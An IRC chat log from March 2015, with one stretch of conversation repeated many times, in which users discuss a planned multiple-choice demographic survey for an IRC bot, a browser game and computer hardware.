[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
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[2015-03-26T22:26:14-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:10:36-0400] <fwilson> awe: if the survey is tonight and you'd like me to participate please do it soon, i have to sleep soon
[2015-03-26T22:10:49-0400] <JacobEdelman> And Ernest, the one non Jew got us  pepperoni pizza :P
[2015-03-26T22:10:57-0400] <JacobEdelman> Gnight
[2015-03-26T22:11:01-0400] <LittleBobbyTables> Did he pay for it, knowing you guys wouldn't?
[2015-03-26T22:11:06-0400] <fwilson> not right now lol
[2015-03-26T22:12:17-0400] <JacobEdelman> My jokes are getting worse
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
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[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:28-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:17-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:33-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
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[2015-03-26T22:43:09-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:25-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:16-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:38-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
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[2015-03-26T22:45:27-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:25-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:16-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:38-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
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[2015-03-26T22:52:50-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:25-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:16-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:38-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
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[2015-03-26T22:54:24-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:25-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:16-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:38-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
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[2015-03-26T23:00:54-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:55-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:26:18-0400] <LittleBobbyTables> I need a better chair...
[2015-03-26T22:26:22-0400] <LittleBobbyTables> And a bigger mouse pad
[2015-03-26T22:26:25-0400] <LittleBobbyTables> And an SSD
[2015-03-26T22:26:31-0400] <LittleBobbyTables> And more memory
[2015-03-26T22:28:16-0400] <LittleBobbyTables> http://i.imgur.com/QHLV9oO.jpg
[2015-03-26T22:28:38-0400] <+awe> fwilson: there are, which is what I meant when I said that it'll be less descriptive of individual identities.
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[2015-03-26T23:04:07-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
[2015-03-26T22:14:26-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
